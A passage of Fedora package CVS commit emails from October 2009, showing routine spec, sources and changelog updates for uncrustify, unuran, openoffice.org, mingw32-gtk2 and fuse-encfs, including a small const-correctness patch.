diff -u -p -r1.12 -r1.13
--- .cvsignore	8 Mar 2009 10:59:44 -0000	1.12
+++ .cvsignore	17 Oct 2009 15:46:32 -0000	1.13
@@ -1 +1 @@
-uncrustify-0.52.tgz
+uncrustify-0.54.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/uncrustify/F-11/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	8 Mar 2009 10:59:44 -0000	1.12
+++ sources	17 Oct 2009 15:46:32 -0000	1.13
@@ -1 +1 @@
-9e94f7e3e5e260d93d0e253418f95502  uncrustify-0.52.tgz
+8ec1f31936189773bf15492096b0d232  uncrustify-0.54.tgz


Index: uncrustify.spec
===================================================================
RCS file: /cvs/pkgs/rpms/uncrustify/F-11/uncrustify.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- uncrustify.spec	8 Mar 2009 10:59:45 -0000	1.16
+++ uncrustify.spec	17 Oct 2009 15:46:32 -0000	1.17
@@ -1,5 +1,5 @@
 Name:		uncrustify
-Version:	0.52
+Version:	0.54
 Release: 	1%{?dist}
 Summary:	Reformat Source
 
@@ -43,6 +43,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 17 2009 Neal Becker <ndbecker2 at gmail.com> - 0.54-1
+- Update to 0.54
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.52-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sun Mar  8 2009 Neal Becker <ndbecker2 at gmail.com> - 0.52-1
 - Update to 0.52
 



From nbecker at fedoraproject.org  Sat Oct 17 15:48:04 2009
From: nbecker at fedoraproject.org (Neal Becker)
Date: Sat, 17 Oct 2009 15:48:04 +0000 (UTC)
Subject: rpms/unuran/devel .cvsignore, 1.10, 1.11 sources, 1.10,
	1.11 unuran.spec, 1.14, 1.15
Message-ID: <20091017154804.15D8711C00EC@cvs1.fedora.phx.redhat.com>

Author: nbecker

Update of /cvs/pkgs/rpms/unuran/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11948

Modified Files:
	.cvsignore sources unuran.spec 
Log Message:
Update to 1.4.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/unuran/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	9 Jan 2009 12:50:13 -0000	1.10
+++ .cvsignore	17 Oct 2009 15:48:00 -0000	1.11
@@ -1 +1 @@
-unuran-1.3.1.tar.gz
+unuran-1.4.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/unuran/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	9 Jan 2009 12:50:13 -0000	1.10
+++ sources	17 Oct 2009 15:48:00 -0000	1.11
@@ -1 +1 @@
-ffe7f2028775fd807fb4c04a51ed59c4  unuran-1.3.1.tar.gz
+b0c23aed8fd51a6f8375f37f57d40f15  unuran-1.4.1.tar.gz


Index: unuran.spec
===================================================================
RCS file: /cvs/pkgs/rpms/unuran/devel/unuran.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- unuran.spec	27 Jul 2009 06:35:24 -0000	1.14
+++ unuran.spec	17 Oct 2009 15:48:02 -0000	1.15
@@ -1,6 +1,6 @@
 Name:		unuran
-Version:	1.3.1
-Release: 	3%{?dist}
+Version:	1.4.1
+Release: 	1%{?dist}
 Summary:	Universal Non-Uniform Random number generator
 
 Group:		System Environment/Libraries
@@ -96,6 +96,9 @@ fi
 SEED=2742664 make check
 
 %changelog
+* Sat Oct 17 2009 Neal Becker <ndbecker2 at gmail.com> - 1.4.1-1
+- Update to 1.4.1
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From caolanm at fedoraproject.org  Sat Oct 17 15:48:05 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Sat, 17 Oct 2009 15:48:05 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec,1.2042,1.2043
Message-ID: <20091017154805.DCB9C11C00EC@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11963

Modified Files:
	openoffice.org.spec 
Log Message:
bump for build


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2042
retrieving revision 1.2043
diff -u -p -r1.2042 -r1.2043
--- openoffice.org.spec	17 Oct 2009 15:45:54 -0000	1.2042
+++ openoffice.org.spec	17 Oct 2009 15:48:05 -0000	1.2043
@@ -1,6 +1,6 @@
 %define oootag OOO320
 %define ooomilestone 2
-%define rh_rpm_release 1
+%define rh_rpm_release 2
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}



From epienbro at fedoraproject.org  Sat Oct 17 15:48:07 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Sat, 17 Oct 2009 15:48:07 +0000 (UTC)
Subject: rpms/mingw32-gtk2/devel mingw32-gtk2.spec, 1.22,
	1.23 mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch, 1.1, NONE
Message-ID: <20091017154807.38F2911C00EC@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-gtk2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11918

Modified Files:
	mingw32-gtk2.spec 
Removed Files:
	mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch 
Log Message:
* Sat Oct 17 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.18.3-1
- Update to 2.18.3
- Drop upstreamed patch (GNOME BZ #597535)
- Re-enable GDI+ support as it's fixed upstream (GNOME BZ #552678)
- This release contains a workaround for a rendering bug which got
  introduced during the CSW merge (GNOME BZ #598299)



Index: mingw32-gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/devel/mingw32-gtk2.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- mingw32-gtk2.spec	6 Oct 2009 15:03:04 -0000	1.22
+++ mingw32-gtk2.spec	17 Oct 2009 15:48:06 -0000	1.23
@@ -6,7 +6,7 @@
 %define __debug_install_post %{_mingw32_debug_install_post}
 
 Name:           mingw32-gtk2
-Version:        2.18.2
+Version:        2.18.3
 Release:        1%{?dist}
 Summary:        MinGW Windows Gtk2 library
 
@@ -33,9 +33,6 @@ Patch1001:      mingw32-gtk2-enable_stat
 # Some Fedora-MinGW-specific changes are required by mingw32-libjpeg 7
 Patch1002:      mingw32-gtk2-libjpeg7-compatibility.patch
 
-# GNOME Bugzilla #597535
-Patch1003:      mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch
-
 BuildArch:      noarch
 
 BuildRequires:  mingw32-filesystem >= 49
@@ -97,7 +94,6 @@ Static version of the MinGW Windows Gtk2
 %patch1000 -p1
 %patch1001 -p0
 %patch1002 -p0
-%patch1003 -p0
 
 # Regenerate the configure script
 aclocal
@@ -109,7 +105,7 @@ libtoolize
 # Need to run the correct version of glib-mkenums.
 PATH=%{_mingw32_bindir}:$PATH
 
-%{_mingw32_configure} --disable-cups --enable-static --disable-gdiplus --with-libjasper
+%{_mingw32_configure} --disable-cups --enable-static --enable-gdiplus --with-libjasper
 make %{?_smp_mflags}
 
 
@@ -207,7 +203,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-ani.dll
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-ani.dll.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-ani.la
-%if 0
+%if 1
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-bmp.dll
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-bmp.dll.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-bmp.la
@@ -242,6 +238,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-jpeg.dll
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-jpeg.dll.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-jpeg.la
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.dll
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.dll.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.la
 %endif
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-icns.dll
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-icns.dll.a
@@ -264,9 +263,6 @@ rm -rf $RPM_BUILD_ROOT
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tga.dll
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tga.dll.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tga.la
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.dll
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.dll.a
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.la
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-wbmp.dll
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-wbmp.dll.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-wbmp.la
@@ -321,26 +317,34 @@ rm -rf $RPM_BUILD_ROOT
 %{_mingw32_libdir}/gtk-2.0/2.10.0/immodules/im-ti-et.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/immodules/im-viqr.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-ani.a
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-bmp.a
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-bmp.la
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gif.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-icns.a
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-ico.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-jasper.a
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-jpeg.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-pcx.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-png.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-pnm.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-ras.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tga.a
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-wbmp.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-xbm.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-xpm.a
+%if 0
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-bmp.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gif.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-ico.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-jpeg.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.a
+%endif
 %{_mingw32_libdir}/gtk-2.0/modules/libgail.a
 
 
 %changelog
+* Sat Oct 17 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.18.3-1
+- Update to 2.18.3
+- Drop upstreamed patch (GNOME BZ #597535)
+- Re-enable GDI+ support as it's fixed upstream (GNOME BZ #552678)
+- This release contains a workaround for a rendering bug which got
+  introduced during the CSW merge (GNOME BZ #598299)
+
 * Tue Oct  6 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.18.2-1
 - Update to 2.18.2
 


--- mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch DELETED ---



From nbecker at fedoraproject.org  Sat Oct 17 15:53:32 2009
From: nbecker at fedoraproject.org (Neal Becker)
Date: Sat, 17 Oct 2009 15:53:32 +0000 (UTC)
Subject: rpms/uncrustify/F-12 .cvsignore, 1.12, 1.13 sources, 1.12,
	1.13 uncrustify.spec, 1.17, 1.18
Message-ID: <20091017155332.3247A11C00EC@cvs1.fedora.phx.redhat.com>

Author: nbecker

Update of /cvs/pkgs/rpms/uncrustify/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13330

Modified Files:
	.cvsignore sources uncrustify.spec 
Log Message:
Update to 0.54



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/uncrustify/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	8 Mar 2009 10:59:44 -0000	1.12
+++ .cvsignore	17 Oct 2009 15:53:31 -0000	1.13
@@ -1 +1 @@
-uncrustify-0.52.tgz
+uncrustify-0.54.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/uncrustify/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	8 Mar 2009 10:59:44 -0000	1.12
+++ sources	17 Oct 2009 15:53:32 -0000	1.13
@@ -1 +1 @@
-9e94f7e3e5e260d93d0e253418f95502  uncrustify-0.52.tgz
+8ec1f31936189773bf15492096b0d232  uncrustify-0.54.tgz


Index: uncrustify.spec
===================================================================
RCS file: /cvs/pkgs/rpms/uncrustify/F-12/uncrustify.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- uncrustify.spec	27 Jul 2009 06:31:37 -0000	1.17
+++ uncrustify.spec	17 Oct 2009 15:53:32 -0000	1.18
@@ -1,6 +1,6 @@
 Name:		uncrustify
-Version:	0.52
-Release: 	2%{?dist}
+Version:	0.54
+Release: 	1%{?dist}
 Summary:	Reformat Source
 
 Group:		Development/Tools
@@ -43,6 +43,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 17 2009 Neal Becker <ndbecker2 at gmail.com> - 0.54-1
+- Update to 0.54
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.52-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From nbecker at fedoraproject.org  Sat Oct 17 15:54:40 2009
From: nbecker at fedoraproject.org (Neal Becker)
Date: Sat, 17 Oct 2009 15:54:40 +0000 (UTC)
Subject: rpms/uncrustify/F-10 .cvsignore, 1.11, 1.12 sources, 1.12,
	1.13 uncrustify.spec, 1.15, 1.16
Message-ID: <20091017155440.B420F11C00EC@cvs1.fedora.phx.redhat.com>

Author: nbecker

Update of /cvs/pkgs/rpms/uncrustify/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13558

Modified Files:
	.cvsignore sources uncrustify.spec 
Log Message:
update to 0.54


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/uncrustify/F-10/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	3 Nov 2008 13:29:50 -0000	1.11
+++ .cvsignore	17 Oct 2009 15:54:40 -0000	1.12
@@ -1 +1 @@
-uncrustify-0.50.tgz
+uncrustify-0.54.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/uncrustify/F-10/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	8 Mar 2009 11:58:37 -0000	1.12
+++ sources	17 Oct 2009 15:54:40 -0000	1.13
@@ -1 +1 @@
-9e94f7e3e5e260d93d0e253418f95502  uncrustify-0.52.tgz
+8ec1f31936189773bf15492096b0d232  uncrustify-0.54.tgz


Index: uncrustify.spec
===================================================================
RCS file: /cvs/pkgs/rpms/uncrustify/F-10/uncrustify.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- uncrustify.spec	8 Mar 2009 11:58:37 -0000	1.15
+++ uncrustify.spec	17 Oct 2009 15:54:40 -0000	1.16
@@ -1,5 +1,5 @@
 Name:		uncrustify
-Version:	0.52
+Version:	0.54
 Release: 	1%{?dist}
 Summary:	Reformat Source
 
@@ -43,6 +43,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 17 2009 Neal Becker <ndbecker2 at gmail.com> - 0.54-1
+- Update to 0.54
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.52-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sun Mar  8 2009 Neal Becker <ndbecker2 at gmail.com> - 0.52-1
 - Update to 0.52
 



From nbecker at fedoraproject.org  Sat Oct 17 16:02:05 2009
From: nbecker at fedoraproject.org (Neal Becker)
Date: Sat, 17 Oct 2009 16:02:05 +0000 (UTC)
Subject: rpms/unuran/F-12 .cvsignore, 1.10, 1.11 sources, 1.10,
	1.11 unuran.spec, 1.14, 1.15
Message-ID: <20091017160205.7345411C00EC@cvs1.fedora.phx.redhat.com>

Author: nbecker

Update of /cvs/pkgs/rpms/unuran/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14416

Modified Files:
	.cvsignore sources unuran.spec 
Log Message:
update to 1.4.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/unuran/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	9 Jan 2009 12:50:13 -0000	1.10
+++ .cvsignore	17 Oct 2009 16:02:05 -0000	1.11
@@ -1 +1 @@
-unuran-1.3.1.tar.gz
+unuran-1.4.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/unuran/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	9 Jan 2009 12:50:13 -0000	1.10
+++ sources	17 Oct 2009 16:02:05 -0000	1.11
@@ -1 +1 @@
-ffe7f2028775fd807fb4c04a51ed59c4  unuran-1.3.1.tar.gz
+b0c23aed8fd51a6f8375f37f57d40f15  unuran-1.4.1.tar.gz


Index: unuran.spec
===================================================================
RCS file: /cvs/pkgs/rpms/unuran/F-12/unuran.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- unuran.spec	27 Jul 2009 06:35:24 -0000	1.14
+++ unuran.spec	17 Oct 2009 16:02:05 -0000	1.15
@@ -1,6 +1,6 @@
 Name:		unuran
-Version:	1.3.1
-Release: 	3%{?dist}
+Version:	1.4.1
+Release: 	1%{?dist}
 Summary:	Universal Non-Uniform Random number generator
 
 Group:		System Environment/Libraries
@@ -96,6 +96,9 @@ fi
 SEED=2742664 make check
 
 %changelog
+* Sat Oct 17 2009 Neal Becker <ndbecker2 at gmail.com> - 1.4.1-1
+- Update to 1.4.1
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From peter at fedoraproject.org  Sat Oct 17 16:11:26 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Sat, 17 Oct 2009 16:11:26 +0000 (UTC)
Subject: rpms/fuse-encfs/devel fuse-encfs.spec,1.31,1.32 import.log,1.2,1.3
Message-ID: <20091017161126.34A1311C00EC@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/fuse-encfs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16147/devel

Modified Files:
	fuse-encfs.spec import.log 
Log Message:
Add version for Requires for boost-devel


Index: fuse-encfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fuse-encfs/devel/fuse-encfs.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- fuse-encfs.spec	17 Sep 2009 05:44:33 -0000	1.31
+++ fuse-encfs.spec	17 Oct 2009 16:11:25 -0000	1.32
@@ -1,6 +1,6 @@
 Name:		fuse-encfs
 Version:	1.5
-Release:	9%{?dist}
+Release:	10%{?dist}
 Summary:	Encrypted pass-thru filesystem in userspace
 License:	GPLv3+
 Group:		System Environment/Kernel
@@ -13,7 +13,7 @@ Requires:	fuse >= 2.6
 Provides:	encfs = %{version}-%{release}
 BuildRequires:	rlog-devel >= 1.3
 BuildRequires:	openssl-devel
-BuildRequires:	boost-devel
+BuildRequires:	boost-devel >= 1.34
 BuildRequires:	fuse-devel >= 2.6
 BuildRequires:	gettext
 
@@ -54,6 +54,9 @@ it does not use NFS.
 %{_mandir}/man1/*
 
 %changelog
+* Sat Oct 17 2009 Peter Lemenkov <lemenkov at gmail.com> 1.5-10
+- Added version in Requires for boost-devel
+
 * Thu Sep 17 2009 Peter Lemenkov <lemenkov at gmail.com> 1.5-9
 - rebuilt with new fuse
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/fuse-encfs/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	26 Oct 2008 15:38:16 -0000	1.2
+++ import.log	17 Oct 2009 16:11:25 -0000	1.3
@@ -1,2 +1,3 @@
 fuse-encfs-1_4_2-4_fc9:HEAD:fuse-encfs-1.4.2-4.fc9.src.rpm:1217577502
 fuse-encfs-1_5-1_fc9:HEAD:fuse-encfs-1.5-1.fc9.src.rpm:1225035390
+fuse-encfs-1_5-10_fc11:HEAD:fuse-encfs-1.5-10.fc11.src.rpm:1255795839



From peter at fedoraproject.org  Sat Oct 17 16:12:50 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Sat, 17 Oct 2009 16:12:50 +0000 (UTC)
Subject: rpms/fuse-encfs/F-12 fuse-encfs.spec,1.31,1.32 import.log,1.2,1.3
Message-ID: <20091017161250.6367F11C00EC@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/fuse-encfs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16508/F-12

Modified Files:
	fuse-encfs.spec import.log 
Log Message:
Add version for Requires for boost-devel


Index: fuse-encfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fuse-encfs/F-12/fuse-encfs.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- fuse-encfs.spec	17 Sep 2009 05:44:33 -0000	1.31
+++ fuse-encfs.spec	17 Oct 2009 16:12:50 -0000	1.32
@@ -1,6 +1,6 @@
 Name:		fuse-encfs
 Version:	1.5
-Release:	9%{?dist}
+Release:	10%{?dist}
 Summary:	Encrypted pass-thru filesystem in userspace
 License:	GPLv3+
 Group:		System Environment/Kernel
@@ -13,7 +13,7 @@ Requires:	fuse >= 2.6
 Provides:	encfs = %{version}-%{release}
 BuildRequires:	rlog-devel >= 1.3
 BuildRequires:	openssl-devel
-BuildRequires:	boost-devel
+BuildRequires:	boost-devel >= 1.34
 BuildRequires:	fuse-devel >= 2.6
 BuildRequires:	gettext
 
@@ -54,6 +54,9 @@ it does not use NFS.
 %{_mandir}/man1/*
 
 %changelog
+* Sat Oct 17 2009 Peter Lemenkov <lemenkov at gmail.com> 1.5-10
+- Added version in Requires for boost-devel
+
 * Thu Sep 17 2009 Peter Lemenkov <lemenkov at gmail.com> 1.5-9
 - rebuilt with new fuse
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/fuse-encfs/F-12/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	26 Oct 2008 15:38:16 -0000	1.2
+++ import.log	17 Oct 2009 16:12:50 -0000	1.3
@@ -1,2 +1,3 @@
 fuse-encfs-1_4_2-4_fc9:HEAD:fuse-encfs-1.4.2-4.fc9.src.rpm:1217577502
 fuse-encfs-1_5-1_fc9:HEAD:fuse-encfs-1.5-1.fc9.src.rpm:1225035390
+fuse-encfs-1_5-10_fc11:F-12:fuse-encfs-1.5-10.fc11.src.rpm:1255795906



From peter at fedoraproject.org  Sat Oct 17 16:13:37 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Sat, 17 Oct 2009 16:13:37 +0000 (UTC)
Subject: rpms/fuse-encfs/F-11 fuse-encfs.spec,1.28,1.29 import.log,1.2,1.3
Message-ID: <20091017161337.C023D11C00EC@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/fuse-encfs/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16679/F-11

Modified Files:
	fuse-encfs.spec import.log 
Log Message:
Add version for Requires for boost-devel


Index: fuse-encfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fuse-encfs/F-11/fuse-encfs.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- fuse-encfs.spec	3 Mar 2009 15:03:36 -0000	1.28
+++ fuse-encfs.spec	17 Oct 2009 16:13:37 -0000	1.29
@@ -1,6 +1,6 @@
 Name:		fuse-encfs
 Version:	1.5
-Release:	6%{?dist}
+Release:	10%{?dist}
 Summary:	Encrypted pass-thru filesystem in userspace
 License:	GPLv3+
 Group:		System Environment/Kernel
@@ -10,10 +10,10 @@ Source1:	http://encfs.googlecode.com/fil
 Patch0:		encfs-1.5-const.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:	fuse >= 2.6
-Provides:	encfs = %{version}
+Provides:	encfs = %{version}-%{release}
 BuildRequires:	rlog-devel >= 1.3
 BuildRequires:	openssl-devel
-BuildRequires:	boost-devel
+BuildRequires:	boost-devel >= 1.34
 BuildRequires:	fuse-devel >= 2.6
 BuildRequires:	gettext
 
@@ -54,6 +54,18 @@ it does not use NFS.
 %{_mandir}/man1/*
 
 %changelog
+* Sat Oct 17 2009 Peter Lemenkov <lemenkov at gmail.com> 1.5-10
+- Added version in Requires for boost-devel
+
+* Thu Sep 17 2009 Peter Lemenkov <lemenkov at gmail.com> 1.5-9
+- rebuilt with new fuse
+
+* Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.5-8
+- rebuilt with new openssl
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5-7
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Tue Mar 03 2009 Caol?n McNamara <caolanm at redhat.com> - 1.5-6
 - constify ret of strchr(const char*)
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/fuse-encfs/F-11/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	26 Oct 2008 15:38:16 -0000	1.2
+++ import.log	17 Oct 2009 16:13:37 -0000	1.3
@@ -1,2 +1,3 @@
 fuse-encfs-1_4_2-4_fc9:HEAD:fuse-encfs-1.4.2-4.fc9.src.rpm:1217577502
 fuse-encfs-1_5-1_fc9:HEAD:fuse-encfs-1.5-1.fc9.src.rpm:1225035390
+fuse-encfs-1_5-10_fc11:F-11:fuse-encfs-1.5-10.fc11.src.rpm:1255795991



From peter at fedoraproject.org  Sat Oct 17 16:14:43 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Sat, 17 Oct 2009 16:14:43 +0000 (UTC)
Subject: rpms/fuse-encfs/F-10 encfs-1.5-const.patch, NONE,
	1.1 fuse-encfs.spec, 1.24, 1.25 import.log, 1.2, 1.3
Message-ID: <20091017161443.069CC11C00EC@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/fuse-encfs/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16906/F-10

Modified Files:
	fuse-encfs.spec import.log 
Added Files:
	encfs-1.5-const.patch 
Log Message:
Add version for Requires for boost-devel

encfs-1.5-const.patch:
 NameIO.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE encfs-1.5-const.patch ---
diff -ru encfs-1.5.orig/encfs/NameIO.cpp encfs-1.5/encfs/NameIO.cpp
--- encfs-1.5.orig/encfs/NameIO.cpp	2009-03-03 14:56:44.000000000 +0000
+++ encfs-1.5/encfs/NameIO.cpp	2009-03-03 14:57:02.000000000 +0000
@@ -190,7 +190,7 @@
 	} else
 	{
 	    bool isDotFile = (*path == '.');
-	    char *next = strchr( path, '/' );
+	    const char *next = strchr( path, '/' );
 	    int len = next ? next - path : strlen( path );
 
 	    // at this point we know that len > 0


Index: fuse-encfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fuse-encfs/F-10/fuse-encfs.spec,v
